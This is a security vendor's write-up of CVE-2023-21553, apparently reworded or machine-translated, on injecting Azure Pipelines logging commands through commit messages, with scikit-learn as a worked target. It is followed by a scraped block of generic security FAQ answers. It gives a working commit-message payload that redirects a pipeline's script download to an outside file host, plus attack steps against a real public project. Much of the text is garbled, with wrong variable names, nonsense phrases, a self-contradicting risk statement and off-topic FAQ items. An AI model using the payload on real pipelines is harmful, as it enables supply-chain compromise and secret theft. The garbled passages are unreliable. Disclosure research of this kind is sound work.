The Legit Security research team discovered a vulnerability in Azure Pipelines (CVE-2023-21553) that could allow an attacker to execute malicious code in the context of a pipeline workflow, allowing an attacker to obtain sensitive secrets, move laterally within an organization, and launch supply chain attacks .
Azure Pipelines is a CI/CD framework that automates your CI/CD, runs tests, and facilitates the delivery of your software. Azure Pipelines require access to code and the use of critical high-privilege secrets, such as cloud deployment keys. A malicious attacker with access to your Azure Pipelines can gain access to your organization's crown jewels. That's why we at Legit Security Labs are always on the lookout for new risks and vulnerabilities that put our customers and the community at risk of software supply chain breaches or attacks. In this investigation, we discovered a remote code execution vulnerability in Azure Pipelines that could allow an attacker to gain full control over variables and tasks. The vulnerability affects both SaaS services (Azure DevOps Services) and standalone services (Azure DevOps Server). This blog post presents the basics of Azure Pipelines and our research findings.
Azure pipeline script
Let's start with a quick overview of Azure Pipelines scripting. Even if you are familiar with the topic, some tweaks and features can be surprising and relevant to understanding the attack flow.
Azure Pipelines can be integrated with Azure Repos Git, GitHub repositories, Bitbucket and more. In this blog post, we'll use a GitHub repository as an example. After you connect your GitHub repository to Azure Pipelines, you can start using many of the pipeline's features. We create a basic YAML pipeline file that does the following:
- Print some startup information - branch name, commit message, environment URL (lines 9-15)
- Download external scripts (eg test tools or external dependencies) (Lines 17-18)
- Execute the downloaded script and print the result (lines 19-23)
Primjer YAML Azure Pipelines
user defined variable
In our script we use user defined variables. These are variables that you can set within a certain scope. A scope is the namespace in which a variable is defined and to which its value can be referenced. It can be defined at the root, step, or job level of a YAML pipeline. You can also specify variables outside of the YAML pipeline in the UI. Another way to change variables is through logging commands (we'll describe this in detail in the next section). In the above script we created
confirm urlA variable to store the URL to download the external bash script.
Another important set of variables are system variables that are used for runtime information about the system, such as the author of the pipeline or the end user. System variables in YAML can be accessed with predefined values.
What are logging commands?
Azure Pipelines allow for variable changes and task changeslog command.Record commands are how tasks and scripts communicate with agents. These cover things like creating new variables, marking steps as failed, and transferring artifacts. Use log commands by typing commands with the appropriate syntax.
The command prefix is
##VSO, followed by specific properties and functions.
In the pipeline script below, you can see how variables are declared at the beginning of the script and edited using logging commands at other stages of the process.
A YAML variable editing pipeline with logging commands
Get pipeline control with logging commands
If malicious actors can print or echo their crafted strings, they can gain access to variables and tasks in the pipeline. We need to find a predefined variable that can be manipulated externally. After printing this variable, we can modify existing variables or set new ones and gain control over the pipeline.
Looking for "predefined variable" list, apparently onlyBuild the variablesrelevant to our case. Build intermediate variables contain information about a particular build, such as the repository name and ID, who started the build, what commits were made in this push, etc. These are the only variables actors can influence without direct access to the Azure Pipelines environment. An attacker would only need permission to create a pull request or submit a submission to exploit this vulnerability.
We need to change one of the build variables we can control to inject the logging command syntax. The log command syntax requires us to include special characters like "#;=", making it impossible for variables to be things like branch names or repository names. The build variables we use for the demo exploit are
build.SourceVersionMessage, which contains the commit message used to inject the logging command.
Going back to our original pipeline script, we can see it if we submit an edit
confirm urlvariables, we can change the download URL, download a malicious bash script, and access the organization's pipeline. A commit message using this pipeline would look like this:
git commit -m "##vso[task.setvariable variable=varificationUrl]https://cdn-114.anonfiles.com/sd5dA6Gay6/1487db0b-1668008076"
The video below shows how we can take advantage of the pipeline shown in this article.
Scikit-Learn as a case study
As part of the discovery process, we looked for existing projects that might have vulnerabilities. One of the items isscikit learning, a popular python machine learning framework with over 50,000 stars and over 23,000 forks on GitHub.
As part of the pipeline, there is a job that prints source version notifications. The commit messages are stored in a file named
crimeThis variable is used later in the pipeline for information flow and control logic. In the image below, you can see the commit message shown on line 14, which allows the login command to run.
Pipeline example from scikit-learn's ADO pipeline
The process of calling the get_commit_message script is described in the attack path:
We can see how the file- get_commit_message.pyCompute and print the last commit message (Lines 16-18). The Scikit-learn Azure pipeline is publicly available −https://dev.azure.com/scikit-learn/scikit-learn/_build.
Vulnerable get_commit_message function from scikit-learn
The steps to attack scikit-learn are as follows:
- Check out the scikit-learn repository
- Make an innocent-looking pull request, for example to fix a typo.
- The last submission message in the pull request will contain malicious content.
- After accepting the withdrawal request,
BUILD_SROUCEVERSIONMESSAGEIt will be updated with malicious commit messages and logging commands will be executed. Note that while we can edit pipeline scripts in the context of a pull request, we do not have access to any secrets or artifacts, so this does not pose a security risk.
- Harmless skin pull requests will be merged into the master branch after review by maintainers.
- The malicious write command will then be executed on the master branch with the production configuration.
The scikit-learn pipeline can be exploited using the upload/associate logging commands. These commands would allow an attacker to download scikit-learn artifacts and perform a broad attack on the software supply chain.
Upload: upload artifact##vso[artifact.upload] local file path
When an attacker finds a vulnerable pipeline (as in this example), he can read all secrets available for pipeline jobs, which are often very sensitive and include API keys, database passwords, or cloud credentials. Another possibility is to modify the output of the build and perform an attack on the supply chain - as in the case of SolarWinds. haveMore than 407,000 itemsUsing scikit-learn; all these projects can be affected by this attack for a large-scale supply chain attack.
Mitigations and patch notes
If you're using Azure DevOps services, you don't need to do anything because it receives patches immediately and stays up-to-date. If you're using Azure DevOps Server, follow the steps below to verify that you're using the latest versionGuidelines are provided by Microsoft.
If you find that you are running an older version than Azure DevOps Server 2020.1.2, be sure to follow the specific steps to update your serverUpdate instructions.
Printing and logging untrusted data is not considered a security risk, so this vulnerability is very robust and can be widely exploited. An attacker can use the commit message or any other user-controlled variable to inject logging commands, which will result in overwriting existing variables and taking over the pipeline. An attacker can exploit this vulnerability with compromised secrets and access keys to achieve lateral movement. The vulnerability was discovered as a high severity remote execution.
- September 5, 2022: Vulnerability reported to MSRC
- September 8, 2022 - September 14, 2022: Exchange of information with MSRC
- September 16, 2022: Bounty distributed
- November 16, 2022: Azure DevOps Services Patch Released: Posted in azure-pipeline-agent-Fix vso command execution in vulnerable variables (#3987) microsoft/azure-pipelines-agent@65ee7d9
- February 14, 2023: Released fix for Azure DevOps Server: CVE-2023-21553
Legal security can help you prevent attacks on your software supply chain
The Legit Security platform connects to your Azure DevOps environment and detects pipeline attack attempts and more. If you are concerned about these and other software supply chain vulnerabilities, please contact usrequest a demothere is aour website.
Useful links and additional reading
Learn more about Azure Pipelines:
- Guides that explain the basicsCreate the first pipeline
- Customize your pipeline
- Variables and syntax defined by Azure Pipelines
- set the variable in the pipeline
Protecting your Azure Pipelines environment - list of connections recommended by MSRC during the publishing process:
Remote code execution (RCE) attacks allow an attacker to remotely execute malicious code on a computer. The impact of an RCE vulnerability can range from malware execution to an attacker gaining full control over a compromised machine.What is the vulnerability of Microsoft Word remote code execution? ›
An unauthenticated, remote attacker could embed malicious code in a crafted rich-text format (RTF) document which, when opened or previewed by a user running vulnerable software, would allow RCE with the privileges of the affected user. An attacker could deliver this file as an email attachment or by other means.How is a remote code execution attack conducted? ›
Remote code execution is usually accomplished by spawning a remote command shell that allows the attacker to execute operating system commands on the target system.Which vulnerability allows a remote attacker to execute arbitrary code on the target system? ›
When a particular vulnerability allows an attacker to execute "arbitrary code", it typically means that the bad guy can run any command on the target system the attacker chooses. This could mean that the attacker triggers code already on the box, invoking a program or DLL by exploiting the vulnerability.Which is a well known remote code execution vulnerability in Remote Desktop Services? ›
BlueKeep. This vulnerability forced Microsoft to make some new patches, within older operating systems. The CVE-2019-0708, refers to Remote Desktop Services Remote Code Execution Vulnerability.What risk does being vulnerable to remote code execution pose to an organization? ›
The vulnerability allows attackers to exploit Microsoft's Azure DevOps Servers to initiate software supply chain attacks and execute malicious code that can compromise the security and integrity of an organization's software products.What is remote code execution vulnerability in web application? ›
Remote code execution (RCE) is a type of security vulnerability that allows attackers to run arbitrary code on a remote machine, connecting to it over public or private networks.Is remote code execution and command execution are the same vulnerability? ›
Many people think both are the same vulnerability but it's not. Don't be confused! Code Evaluation, Arbitrary Code Injection, and Code Execution are synonyms of Code Injection. OS injection, Command Injection, and Arbitrary Command Execution are synonyms of Command Execution.What are the vulnerabilities in remote working? ›
Unsecured Corporate Network
A few examples of these vulnerabilities include weak passwords, outdated software applications, and unsecured emails. Hackers use these to attack the company system, causing a data breach.
- DoS attacks. DoS, or Denial of Service, is an attempt to make a computer or network unavailable for its intended users. ...
- DNS Poisoning. ...
- Port scanning. ...
- TCP desynchronization. ...
- SMB Relay. ...
- ICMP attacks.
Having been uploaded to the application, this backdoor can later be used to hijack the underlying server or gain access to the application database. The R57 backdoor shell is a popular choice for RFI attacks.What type of overflow attack is most likely to lead to arbitrary remote code execution? ›
Access control loss: A buffer overflow attack will often involve the use of arbitrary code, which is often outside the scope of programs' security policies.What types of attacks are remote access servers vulnerable to? ›
- Lack of information. ...
- Password sharing. ...
- Software. ...
- Personal devices. ...
- Patching. ...
- Vulnerable backups. ...
- Device hygiene. ...
- Phishing attacks.
- Health. Conditions or illnesses that affect one's ability to complete day-to-day tasks, both mentally and physically. ...
- Life Events. Such as bereavement, job loss or relationship breakdown. ...
- Resilience. Low ability to withstand and manage financial or emotional shocks. ...
An arbitrary code execution (ACE) stems from a flaw in software or hardware. A hacker spots that problem, and then they can use it to execute commands on a target device. Remote code execution vulnerabilities happen when a hacker can launch malignant code across an entire network rather than on one lone device.What are the known RDP vulnerabilities? ›
- Weak user sign-in credentials. Most desktop computers are protected by a password, and users can typically make this password whatever they want. ...
- Unrestricted port access. RDP connections almost always take place at port 3389*.
The remote code execution (RCE) vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. A threat actor who successfully exploits the Follina vulnerability can execute code with the privileges of the calling application.Which of the following is remote code execution vulnerability present in vm2 sandbox? ›
"A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox," vm2 disclosed in an advisory. The vulnerability has been assigned the identified CVE-2023-29017 and is rated 9.8 on the CVSS scoring system.Which vulnerability can lead to unintended code execution on a victim's Web browser? ›
A Cross-Site Request Forgery (CSRF) attack is when a victim is forced to perform an unintended action on a web application they are logged into.Which of the following is a danger that might exploit a vulnerability? ›
In computer security a threat is a possible danger that might exploit a vulnerability to breach security and thus cause possible harm.
Code Injection Flaw
Code injection flaws are another common security vulnerability. This exploits a bug caused by processing invalid data. This is one form of injection attack that you can defend against.
Before diving into command injections, let's get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it's an (OS) command being executed.What are the 4 main types of vulnerabilities? ›
The four main types of vulnerabilities in information security are network vulnerabilities, operating system vulnerabilities, process (or procedural) vulnerabilities, and human vulnerabilities.What are the following four 4 types of vulnerability? ›
The different types of vulnerability
According to the different types of losses, the vulnerability can be defined as physical vulnerability, economic vulnerability, social vulnerability and environmental vulnerability.
There are three main types of network protocols. These include network management protocols, network communication protocols and network security protocols: Communication protocols include basic data communication tools like TCP/IP and HTTP.What are the 3 main categories of security controls that we can use to prevent attacks? ›
There are three main types of IT security controls including technical, administrative, and physical.Which three methods are common implementations of secure remote access? ›
- Virtual private network (VPN): VPNs are the most common form of remote access. ...
- IPsec VPN: ...
- SSL VPN: ...
- Desktop sharing: ...
- Secure Shell (SSH) remote access: ...
- Network access control (NAC): ...
- Single sign-on (SSO): ...
- Zero Trust network access (ZTNA):
A remote attack (also known as a remote exploit) is when a hacker targets one computer or an entire network. The attacker looks for vulnerabilities in the computer or the network's security system to gain access and steal data, introduce viruses, or cause damage to the targeted network.What is the most common technique for security attacks *? ›
- Trojan Horse.
- Trap Door.
- Logic Bomb.
- DOS attack: ...
- Website Defacement: ...
- Directory Traversal: ...
- Misconfiguration attacks: ...
- Phishing Attack: ...
- Information Gathering: ...
- Vulnerability Scanning: ...
- Password Attacks:
The four types of access attacks are password attacks, trust exploitation, port redirection, and man-in-the-middle attacks.What type of attack occurs when an attacker uses a web application to send malicious code generally in the form of a browser side script to a different end user? ›
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.What are the six 6 types of attacks on network security? ›
- Malware. Malware is an umbrella term for many forms of harmful software — including ransomware and viruses — that sabotage the operation of computers. ...
- Phishing. ...
- SQL Injection Attack. ...
- Cross-Site Scripting (XSS) Attack. ...
- Denial of Service (DoS) Attack. ...
- Negative Commentary Attacks.
- Malware Attack. This is one of the most common types of cyberattacks. ...
- Phishing Attack. ...
- Password Attack. ...
- Man-in-the-Middle Attack. ...
- SQL Injection Attack. ...
- Denial-of-Service Attack. ...
- Insider Threat. ...
There are two main types of network attacks: passive and active. In passive network attacks, malicious parties gain unauthorized access to networks, monitor, and steal private data without making any alterations. Active network attacks involve modifying, encrypting, or damaging data.What is top 5 vulnerabilities? ›
- SQL Injection.
- Cross Site Scripting.
- Broken Authentication and Session Management.
- Insecure Direct Object References.
- Cross Site Request Forgery.
- Security Misconfiguration.
- Insecure Cryptographic Storage.
- Failure to restrict URL Access.
Types of vulnerability include social, cognitive, environmental, emotional or military. In relation to hazards and disasters, vulnerability is a concept that links the relationship that people have with their environment to social forces and institutions and the cultural values that sustain and contest them.What are the names of 5 vulnerability factors? ›
This chapter examines five individual factors contributing to child vulnerability: disability, mental health, immigrant background, maltreatment and being in out-of-home care. It provides evidence on how these factors affect child well-being and later adult outcomes.What is a remote code execution vulnerability? ›
Remote code security vulnerabilities provide attackers with the ability to execute malicious code, or malware, and take over an affected system. After gaining access to the system, attackers will often attempt to elevate their privileges from user to admin.
Remote code execution is a cyber-attack whereby an attacker can remotely execute commands on someone else's computing device. Remote code executions (RCEs) usually occur due to malicious malware downloaded by the host and can happen regardless of the device's geographic location.What is the risk of remote code execution vulnerability? ›
A remote code execution vulnerability can compromise a user's sensitive data without the hackers needing to gain physical access to your network. For this reason, RCE vulnerabilities are almost always considered critical, and finding and patching them should be among your top priorities.What is the impact of code injection vulnerability? ›
Impacts of code injection
If a code injection vulnerability exists in an application, the security impact is that an attacker is able to execute arbitrary server-side code. The ability to execute server-side code can result in a total loss of integrity, availability, and confidentiality within the application.
A vulnerability is a weakness that can be exploited by cybercriminals to gain unauthorized access to a computer system. After exploiting a vulnerability, a cyberattack can run malicious code, install malware, and even steal sensitive data.What is the impact of Windows Print Spooler remote code execution vulnerability? ›
An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.What is the main consequence of having vulnerabilities applications? ›
Once an attacker has found a flaw, or application vulnerability, and determined how to access it, the attacker has the potential to exploit the application vulnerability to facilitate a cyber crime.What are the main strategies to prevent code injection attacks? ›
- Don't Run System Commands with User-Supplied Input. ...
- Use Strong Input Validation for Input Passed into Commands. ...
- Use the Principle of Least Privilege. ...
- Update and Patch Applications Often. ...
- Test Your Application with Bright.
The only sure way to prevent SQL Injection attacks is input validation and parametrized queries including prepared statements. The application code should never use the input directly.What are some real world examples of code injection attacks? ›
7-Eleven breach—a team of attackers used SQL injection to penetrate corporate systems at several companies, primarily the 7-Eleven retail chain, stealing 130 million credit card numbers. HBGary breach—hackers related to the Anonymous activist group used SQL Injection to take down the IT security company's website.What are the 4 main types of vulnerability? ›
The four main types of vulnerabilities in information security are network vulnerabilities, operating system vulnerabilities, process (or procedural) vulnerabilities, and human vulnerabilities.
- Distributed denial of service (DDoS) attacks.
- Spam and Phishing.
- Corporate Account Takeover (CATO)
- Automated Teller Machine (ATM) Cash Out.
- Memory safety violations, such as: Buffer overflows and over-reads. ...
- Input validation errors, such as: Code injection. ...
- Privilege-confusion bugs, such as: ...
- Privilege escalation.
- Race conditions, such as: ...
- Side-channel attack. ...
- User interface failures, such as:
Remote code execution vulnerabilities exist in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited the vulnerabilities could gain the ability to execute code on the target server.What are the two main causes of software vulnerabilities? ›
- Developer Mistakes. Coding errors are one way that a software vulnerability can be introduced. ...
- Misconfigurations. Misconfiguration vulnerabilities are different from flaws in the code. ...
- Software Supply Chain. Today, 90% of companies use open source software.
A cyberattack on a pipeline system could result in explosions and spills; equipment sabotage, malfunction, and unanticipated shutdowns; theft of intellectual property; and supply chain disruptions to midstream and downstream operations to other NCFs.What are software vulnerabilities and why are there so many of them? ›
In a nutshell, software vulnerabilities are flaws that exist in a code and are often used by malicious agents to get unauthorized access to networks, steal valuable and sensitive data, and compromise company systems.